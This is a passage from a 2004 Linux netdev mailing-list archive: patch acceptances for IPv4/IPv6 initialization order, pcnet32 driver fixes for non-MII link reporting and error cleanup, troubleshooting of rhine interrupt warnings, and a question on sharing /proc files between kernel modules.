Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3452 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 20 Feb 2004 13:01:48 -0600 "Art Haas" wrote: > Here's a patch that converts this file to use C99 initializers. The code > is much easier to read after the conversion, I believe. I have > recompiled the file with the changes successfully. > > The patch is against the current BK. Applied, thanks Art. From davem@redhat.com Fri Feb 20 11:07:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 11:07:31 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KJ7RKO020098 for ; Fri, 20 Feb 2004 11:07:27 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1KJ7Ib11322; Fri, 20 Feb 2004 14:07:18 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1KJ7Ii22042; Fri, 20 Feb 2004 14:07:18 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1KJ7IkC017140; Fri, 20 Feb 2004 14:07:18 -0500 Date: Fri, 20 Feb 2004 11:07:17 -0800 From: "David S. Miller" To: David Woodhouse Cc: netdev@oss.sgi.com Subject: Re: Initialising net/ipv4/ before net/ipv6/ breaks IPv6 autoconf with nfsroot.... Message-Id: <20040220110717.4c8e9f59.davem@redhat.com> In-Reply-To: <1077303696.427.570.camel@hades.cambridge.redhat.com> References: <1077201499.18703.381.camel@hades.cambridge.redhat.com> <20040219222253.082458cf.davem@redhat.com> <1077303696.427.570.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3453 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 20 Feb 2004 19:01:37 +0000 David Woodhouse wrote: > On Thu, 2004-02-19 at 22:22 -0800, David S. Miller wrote: > > If at some point we create some initialization dependency between ipv4 > > and ipv6 (f.e. ipv6 init needs some ipv4 table setup) we will need to > > tread carefully to keep this from breaking. > > True. For 2.6 in fact we can do it this way... I like this version of this fix a lot, applied. From davem@redhat.com Fri Feb 20 11:08:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 11:08:21 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KJ8HKO020307 for ; Fri, 20 Feb 2004 11:08:17 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1KJ8Eb11620; Fri, 20 Feb 2004 14:08:14 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1KJ8Di22323; Fri, 20 Feb 2004 14:08:13 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1KJ8CkC017604; Fri, 20 Feb 2004 14:08:13 -0500 Date: Fri, 20 Feb 2004 11:08:12 -0800 From: "David S. Miller" To: David Woodhouse Cc: netdev@oss.sgi.com Subject: Re: Initialising net/ipv4/ before net/ipv6/ breaks IPv6 autoconf with nfsroot.... Message-Id: <20040220110812.07cff16f.davem@redhat.com> In-Reply-To: <1077303776.427.575.camel@hades.cambridge.redhat.com> References: <1077201499.18703.381.camel@hades.cambridge.redhat.com> <20040219222253.082458cf.davem@redhat.com> <1077303776.427.575.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3454 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 20 Feb 2004 19:02:57 +0000 David Woodhouse wrote: > On Thu, 2004-02-19 at 22:22 -0800, David S. Miller wrote: > > On Thu, 19 Feb 2004 14:38:20 +0000 > > David Woodhouse wrote: > > > > > Putting IPv6 before IPv4 in net/Makefile fixes it, letting it IPv6 > > > register its notifiers before the IPv4 ipconfig code brings up the > > > interface. > > > > > > Objections? > > > > No objection. Send me a patch. > > For 2.4, which is the one I've actually tested... Also applied. Thanks again David. From andrew@walrond.org Fri Feb 20 11:15:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 11:15:17 -0800 (PST) Received: from cenedra.office (host213-160-108-25.dsl.vispa.com [213.160.108.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KJFBKO021275 for ; Fri, 20 Feb 2004 11:15:12 -0800 Received: (qmail 16938 invoked from network); 20 Feb 2004 19:15:10 -0000 Received: from unknown (HELO bob.mobile) (192.168.0.2) by host62-24-231-113.dsl.vispa.com with SMTP; 20 Feb 2004 19:15:10 -0000 From: Andrew Walrond To: YOSHIFUJI Hideaki / =?utf-8?q?=E5=90=89=E8=97=A4=E8=8B=B1=E6=98=8E?= =?utf-8?q?=20=09?=, netdev@oss.sgi.com Subject: Re: Linux-2.6.3 : [eth0: Too much work at interrupt, status=0x00000001.] Date: Fri, 20 Feb 2004 19:15:09 +0000 User-Agent: KMail/1.5.4 Cc: linux-kernel@vger.kernel.org References: <200402201803.12146.andrew@walrond.org> <20040221.032006.68375681.yoshfuji@linux-ipv6.org> In-Reply-To: <20040221.032006.68375681.yoshfuji@linux-ipv6.org> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Disposition: inline Message-Id: <200402201915.09342.andrew@walrond.org> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1KJFBKO021275 X-archive-position: 3455 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrew@walrond.org Precedence: bulk X-list: netdev On Friday 20 Feb 2004 6:20 pm, YOSHIFUJI Hideaki / å‰è—¤è‹±æ˜Ž wrote: > In article <200402201803.12146.andrew@walrond.org> (at Fri, 20 Feb 2004 18:03:11 +0000), Andrew Walrond says: > > I've got this several times, randomly, and > I had to go to the console to reboot the machine. > Well the machine and network (at least with just ssh access) is working fine I left the machine (which is a remote rack-mounted server) for an hour and now there is perhaps 120 of these warnings. Net is still working though. Unless anyone has any ideas, I'll move back to 2.4 on this machine Andrew From shemminger@osdl.org Fri Feb 20 11:34:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 11:34:48 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KJYbKO021946 for ; Fri, 20 Feb 2004 11:34:37 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1KJYSE19337; Fri, 20 Feb 2004 11:34:28 -0800 Date: Fri, 20 Feb 2004 11:34:27 -0800 From: Stephen Hemminger To: Andrew Walrond Cc: YOSHIFUJI Hideaki / =?ISO-8859-1?B?X19fX19fX19fX19f?= , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Linux-2.6.3 : [eth0: Too much work at interrupt, status=0x00000001.] Message-Id: <20040220113427.0a088fb9@dell_ss3.pdx.osdl.net> In-Reply-To: <200402201915.09342.andrew@walrond.org> References: <200402201803.12146.andrew@walrond.org> <20040221.032006.68375681.yoshfuji@linux-ipv6.org> <200402201915.09342.andrew@walrond.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1KJYbKO021946 X-archive-position: 3456 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Fri, 20 Feb 2004 19:15:09 +0000 Andrew Walrond wrote: > On Friday 20 Feb 2004 6:20 pm, YOSHIFUJI Hideaki / ____________ wrote: > > In article <200402201803.12146.andrew@walrond.org> (at Fri, 20 Feb 2004 > 18:03:11 +0000), Andrew Walrond says: > > > > I've got this several times, randomly, and > > I had to go to the console to reboot the machine. > > > > Well the machine and network (at least with just ssh access) is working fine > > I left the machine (which is a remote rack-mounted server) for an hour and now > there is perhaps 120 of these warnings. Net is still working though. > > Unless anyone has any ideas, I'll move back to 2.4 on this machine > > Andrew The driver needs to be converted to NAPI to sustain high network loads. The existing driver allocates and copies each receive packet in the interrupt routine. See the recent revision of 8139too to see what that entails. From andrew@walrond.org Fri Feb 20 12:02:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 12:02:06 -0800 (PST) Received: from cenedra.office (host213-160-108-25.dsl.vispa.com [213.160.108.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KK1xKO022516 for ; Fri, 20 Feb 2004 12:02:00 -0800 Received: (qmail 17261 invoked from network); 20 Feb 2004 20:01:59 -0000 Received: from unknown (HELO bob.mobile) (192.168.0.2) by host62-24-231-113.dsl.vispa.com with SMTP; 20 Feb 2004 20:01:59 -0000 From: Andrew Walrond To: Stephen Hemminger Subject: Re: Linux-2.6.3 : [eth0: Too much work at interrupt, status=0x00000001.] Date: Fri, 20 Feb 2004 20:01:58 +0000 User-Agent: KMail/1.5.4 Cc: YOSHIFUJI Hideaki / ____________ , netdev@oss.sgi.com, linux-kernel@vger.kernel.org References: <200402201803.12146.andrew@walrond.org> <200402201915.09342.andrew@walrond.org> <20040220113427.0a088fb9@dell_ss3.pdx.osdl.net> In-Reply-To: <20040220113427.0a088fb9@dell_ss3.pdx.osdl.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402202001.58343.andrew@walrond.org> X-archive-position: 3457 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrew@walrond.org Precedence: bulk X-list: netdev On Friday 20 Feb 2004 7:34 pm, Stephen Hemminger wrote: > > The driver needs to be converted to NAPI to sustain high network loads. > The existing driver allocates and copies each receive packet in the > interrupt routine. > > See the recent revision of 8139too to see what that entails. Yes but...there were no high network loads. Just me typing into ssh. STOP PRESS....FIX... That may well be so, but I rebuilt the kernel with the optional MMIO on the rhine driver, and the messages have disappeared. I have also used wget to fetch a 100Mb file at an average 1.02Mb/s and it worked flawlessly and still no warnings in dmesg. Andrew Walrond From tmus@tmus.dk Fri Feb 20 12:34:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 12:34:17 -0800 (PST) Received: from pasmtp.tele.dk (pasmtp.tele.dk [193.162.159.95]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KKY1KO026156 for ; Fri, 20 Feb 2004 12:34:02 -0800 Received: from mail.tmus.dk (cpe.atm0-0-0-1561101.0x50a0a16e.albnxx5.customer.tele.dk [80.160.161.110]) by pasmtp.tele.dk (Postfix) with ESMTP id 1A8E41EC33D for ; Fri, 20 Feb 2004 20:55:21 +0100 (CET) Received: from tmus.dk (dyn-192-168-1-20.tmus.dk [192.168.1.20]) by mail.tmus.dk (Postfix) with ESMTP id 9F22FF8139 for ; Fri, 20 Feb 2004 20:55:32 +0100 (CET) Message-ID: <40366625.8060008@tmus.dk> Date: Fri, 20 Feb 2004 20:55:17 +0100 From: Thomas Munck Steenholdt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en, da MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: [PATCH] 2.6.3 pcnet32.c fix link reporting for non-mii devices Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3458 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tmus@tmus.dk Precedence: bulk X-list: netdev Hi Guys! A lot of people have been experiencing problems with the pcnet32 nic driver that always returns link down on some devices (including the VMware vlance adapter). The patch makes sure that link is always reported as up (in contrast to always being rported as down) if the device is not MII capable. Devices that ARE MII capable will return whatever mii_link_ok() says. Please let be know what you think and possible give me a hint as to how I can make sure this fix gets included whereever such a patch should be included! Thanks a lot! diff -ur linux-2.6.2-1.87/drivers/net/pcnet32.c linux-2.6.2-1.87-tmus/drivers/net/pcnet32.c --- linux-2.6.2-1.87/drivers/net/pcnet32.c 2004-02-19 00:27:36.033478624 +0100 +++ linux-2.6.2-1.87-tmus/drivers/net/pcnet32.c 2004-02-19 00:26:03.733510352 +0100 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.27b" -#define DRV_RELDATE "01.10.2002" +#define DRV_VERSION "1.27c" +#define DRV_RELDATE "02.19.2004" #define PFX DRV_NAME ": " static const char *version = @@ -213,6 +213,8 @@ * clean up and using new mii module * v1.27b Sep 30 2002 Kent Yoder * Added timer for cable connection state changes. + * v1.27c Feb 19 2004 Thomas M Steenholdt + * fixed link status on non-mii capable devices. */ @@ -1630,7 +1632,10 @@ /* get link status */ case ETHTOOL_GLINK: { struct ethtool_value edata = {ETHTOOL_GLINK}; - edata.data = mii_link_ok(&lp->mii_if); + /* read link status */ + if(lp->mii) edata.data = mii_link_ok(&lp->mii_if); + /* always return link ok for non-mii devices */ + else edata.data = 1; if (copy_to_user(useraddr, &edata, sizeof(edata))) return -EFAULT; return 0; From brazilnut@us.ibm.com Fri Feb 20 14:15:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 14:15:18 -0800 (PST) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KMF7KO027760 for ; Fri, 20 Feb 2004 14:15:14 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1KMEx4i678702; Fri, 20 Feb 2004 17:14:59 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1KMEw6v134232; Fri, 20 Feb 2004 17:14:59 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1KMDwW07327; Fri, 20 Feb 2004 14:13:58 -0800 From: Don Fry Message-Id: <200402202213.i1KMDwW07327@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.3] pcnet32.c handle failures in open To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 20 Feb 2004 14:13:57 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3460 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev If there are errors in the open routine, the driver does not correctly clean up and free resources. This also removes an unnecessary netif_wake_queue, correctly supports the debug parameter, and updates the version and date. --- linux-2.6.3/drivers/net/tool.pcnet32.c Thu Feb 19 16:17:30 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Fri Feb 20 10:27:45 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.27b" -#define DRV_RELDATE "01.10.2002" +#define DRV_VERSION "1.28" +#define DRV_RELDATE "02.20.2004" #define PFX DRV_NAME ": " static const char *version = @@ -219,6 +219,11 @@ * clean up and using new mii module * v1.27b Sep 30 2002 Kent Yoder * Added timer for cable connection state changes. + * v1.28 20 Feb 2004 Don Fry + * Jon Lewis , Chinmay Albal + * Now uses ethtool_ops, netif_msg_* and generic_mii_ioctl. + * Fixes bogus 'Bus master arbitration failure', pci_[un]map_single + * length errors, and transmit hangs. Cleans up after errors in open. */ @@ -650,8 +655,10 @@ chip_version = a->read_csr(ioaddr, 88) | (a->read_csr(ioaddr,89) << 16); if (pcnet32_debug & NETIF_MSG_PROBE) printk(KERN_INFO " PCnet chip version is %#x.\n", chip_version); - if ((chip_version & 0xfff) != 0x003) + if ((chip_version & 0xfff) != 0x003) { + printk(KERN_INFO PFX "Unsupported chip version.\n"); goto err_release_region; + } /* initialize variables */ fdx = mii = fset = dxsuflo = ltint = 0; @@ -733,6 +740,7 @@ dev = alloc_etherdev(0); if(!dev) { + printk(KERN_ERR PFX "Memory allocation failed.\n"); ret = -ENOMEM; goto err_release_region; } @@ -806,6 +814,7 @@ dev->base_addr = ioaddr; /* pci_alloc_consistent returns page-aligned memory, so we do not have to check the alignment */ if ((lp = pci_alloc_consistent(pdev, sizeof(*lp), &lp_dma_addr)) == NULL) { + printk(KERN_ERR PFX "Consistent memory allocation failed.\n"); ret = -ENOMEM; goto err_free_netdev; } @@ -939,6 +948,7 @@ unsigned long ioaddr = dev->base_addr; u16 val; int i; + int rc; if (dev->irq == 0 || request_irq(dev->irq, &pcnet32_interrupt, @@ -947,8 +957,10 @@ } /* Check for a valid station address */ - if( !is_valid_ether_addr(dev->dev_addr) ) - return -EINVAL; + if (!is_valid_ether_addr(dev->dev_addr)) { + rc = -EINVAL; + goto err_free_irq; + } /* Reset the PCNET32 */ lp->a.reset (ioaddr); @@ -1022,8 +1034,10 @@ lp->init_block.mode = le16_to_cpu((lp->options & PCNET32_PORT_PORTSEL) << 7); lp->init_block.filter[0] = 0x00000000; lp->init_block.filter[1] = 0x00000000; - if (pcnet32_init_ring(dev)) - return -ENOMEM; + if (pcnet32_init_ring(dev)) { + rc = -ENOMEM; + goto err_free_ring; + } /* Re-initialize the PCNET32, and start it when done. */ lp->a.write_csr (ioaddr, 1, (lp->dma_addr + offsetof(struct pcnet32_private, init_block)) &0xffff); @@ -1057,6 +1071,28 @@ return 0; /* Always succeed */ + +err_free_ring: + /* free any allocated skbuffs */ + for (i = 0; i < RX_RING_SIZE; i++) { + lp->rx_ring[i].status = 0; + if (lp->rx_skbuff[i]) { + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], PKT_BUF_SZ-2, + PCI_DMA_FROMDEVICE); + dev_kfree_skb(lp->rx_skbuff[i]); + } + lp->rx_skbuff[i] = NULL; + lp->rx_dma_addr[i] = 0; + } + /* + * Switch back to 16bit mode to avoid problems with dumb + * DOS packet driver after a warm reboot + */ + lp->a.write_bcr (ioaddr, 20, 4); + +err_free_irq: + free_irq(dev->irq, dev); + return rc; } /* @@ -1125,6 +1161,7 @@ lp->tx_ring[i].status = 0; lp->tx_dma_addr[i] = 0; } + wmb(); /* Make sure all changes are visible */ lp->init_block.tlen_rlen = le16_to_cpu(TX_RING_LEN_BITS | RX_RING_LEN_BITS); for (i = 0; i < 6; i++) @@ -1251,9 +1288,7 @@ dev->trans_start = jiffies; - if (lp->tx_ring[(entry+1) & TX_RING_MOD_MASK].base == 0) - netif_wake_queue(dev); - else { + if (lp->tx_ring[(entry+1) & TX_RING_MOD_MASK].base != 0) { lp->tx_full = 1; netif_stop_queue(dev); } @@ -1509,6 +1544,7 @@ * of QNX reports that some revs of the 79C965 clear it. */ lp->rx_ring[entry].buf_length = le16_to_cpu(2-PKT_BUF_SZ); + wmb(); /* Make sure owner changes after all others are visible */ lp->rx_ring[entry].status |= le16_to_cpu(0x8000); entry = (++lp->cur_rx) & RX_RING_MOD_MASK; } @@ -1725,7 +1761,7 @@ }; MODULE_PARM(debug, "i"); -MODULE_PARM_DESC(debug, DRV_NAME " debug level (0-6)"); +MODULE_PARM_DESC(debug, DRV_NAME " debug level"); MODULE_PARM(max_interrupt_work, "i"); MODULE_PARM_DESC(max_interrupt_work, DRV_NAME " maximum events handled per interrupt"); MODULE_PARM(rx_copybreak, "i"); @@ -1752,8 +1788,8 @@ { printk(KERN_INFO "%s", version); - if (debug > 0) - pcnet32_debug = debug; + if (debug >= 0 && debug < (sizeof(int) - 1)) + pcnet32_debug = 1 << debug; if ((tx_start_pt >= 0) && (tx_start_pt <= 3)) tx_start = tx_start_pt; -- Don Fry brazilnut@us.ibm.com From niranjan_cs2905@yahoo.com Fri Feb 20 14:15:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 14:15:15 -0800 (PST) Received: from web40712.mail.yahoo.com (web40712.mail.yahoo.com [66.218.78.169]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KMFCKO027761 for ; Fri, 20 Feb 2004 14:15:12 -0800 Message-ID: <20040220221506.9945.qmail@web40712.mail.yahoo.com> Received: from [128.119.85.178] by web40712.mail.yahoo.com via HTTP; Fri, 20 Feb 2004 14:15:06 PST Date: Fri, 20 Feb 2004 14:15:06 -0800 (PST) From: Niranjan Subject: Sharing /proc file To: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3459 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niranjan_cs2905@yahoo.com Precedence: bulk X-list: netdev Hi, Is it possible to share a /proc file between two kernel modules? Also, what is the best way to share a structure between two kernel modules ? Regards, -Niranjan __________________________________ Do you Yahoo!? Yahoo! Mail SpamGuard - Read only the mail you want. http://antispam.yahoo.com/tools From shemminger@osdl.org Fri Feb 20 14:29:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 14:29:40 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KMTZKO029410 for ; Fri, 20 Feb 2004 14:29:35 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1KMTEE18157; Fri, 20 Feb 2004 14:29:14 -0800 Date: Fri, 20 Feb 2004 14:29:14 -0800 From: Stephen Hemminger To: Niranjan Cc: netdev@oss.sgi.com Subject: Re: Sharing /proc file Message-Id: <20040220142914.2f405104@dell_ss3.pdx.osdl.net> In-Reply-To: <20040220221506.9945.qmail@web40712.mail.yahoo.com> References: <20040220221506.9945.qmail@web40712.mail.yahoo.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3461 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Fri, 20 Feb 2004 14:15:06 -0800 (PST) Niranjan wrote: > Hi, > Is it possible to share a /proc file between two > kernel modules? > Also, what is the best way to share a structure > between two kernel modules ? > > Regards, > -Niranjan If the two modules are so interrelated, why have them separate? You can use EXPORT_SYMBOL() to share globals between modules. I can't see a good reason to ever share a single /proc file. The module that defines the symbol must be the one that manages the /proc interaction with that structure. From brazilnut@us.ibm.com Fri Feb 20 14:30:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 14:30:45 -0800 (PST) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KMUeKO029603 for ; Fri, 20 Feb 2004 14:30:40 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e4.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1KMUWG9845336; Fri, 20 Feb 2004 17:30:32 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1KMUV6v137760; Fri, 20 Feb 2004 17:30:32 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1KMTVe07355; Fri, 20 Feb 2004 14:29:31 -0800 From: Don Fry Message-Id: <200402202229.i1KMTVe07355@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.3] pcnet32.c non-mii errors with ethtool To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 20 Feb 2004 14:29:30 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3462 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev pcnet32 devices which do not contain an mii respond incorrectly to ethtool commands. Reported by VANDROVE@vc.cvut.cz and Thomas Munck Steenholdt. --- linux-2.6.3/drivers/net/clean.pcnet32.c Fri Feb 20 10:59:38 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Fri Feb 20 14:21:27 2004 @@ -474,22 +474,28 @@ { struct pcnet32_private *lp = dev->priv; unsigned long flags; + int r = -EOPNOTSUPP; - spin_lock_irqsave(&lp->lock, flags); - mii_ethtool_gset(&lp->mii_if, cmd); - spin_unlock_irqrestore(&lp->lock, flags); - return 0; + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); + mii_ethtool_gset(&lp->mii_if, cmd); + spin_unlock_irqrestore(&lp->lock, flags); + r = 0; + } + return r; } static int pcnet32_set_settings(struct net_device *dev, struct ethtool_cmd *cmd) { struct pcnet32_private *lp = dev->priv; unsigned long flags; - int r; + int r = -EOPNOTSUPP; - spin_lock_irqsave(&lp->lock, flags); - r = mii_ethtool_sset(&lp->mii_if, cmd); - spin_unlock_irqrestore(&lp->lock, flags); + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); + r = mii_ethtool_sset(&lp->mii_if, cmd); + spin_unlock_irqrestore(&lp->lock, flags); + } return r; } @@ -509,11 +515,13 @@ { struct pcnet32_private *lp = dev->priv; unsigned long flags; - int r; + int r = 1; - spin_lock_irqsave(&lp->lock, flags); - r = mii_link_ok(&lp->mii_if); - spin_unlock_irqrestore(&lp->lock, flags); + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); + r = mii_link_ok(&lp->mii_if); + spin_unlock_irqrestore(&lp->lock, flags); + } return r; } @@ -533,11 +541,13 @@ { struct pcnet32_private *lp = dev->priv; unsigned long flags; - int r; + int r = -EOPNOTSUPP; - spin_lock_irqsave(&lp->lock, flags); - r = mii_nway_restart(&lp->mii_if); - spin_unlock_irqrestore(&lp->lock, flags); + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); + r = mii_nway_restart(&lp->mii_if); + spin_unlock_irqrestore(&lp->lock, flags); + } return r; } -- Don Fry brazilnut@us.ibm.com From romieu@fr.zoreil.com Fri Feb 20 14:52:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 14:52:34 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KMqTKO030338 for ; Fri, 20 Feb 2004 14:52:30 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i1KMofgf028146; Fri, 20 Feb 2004 23:50:41 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com 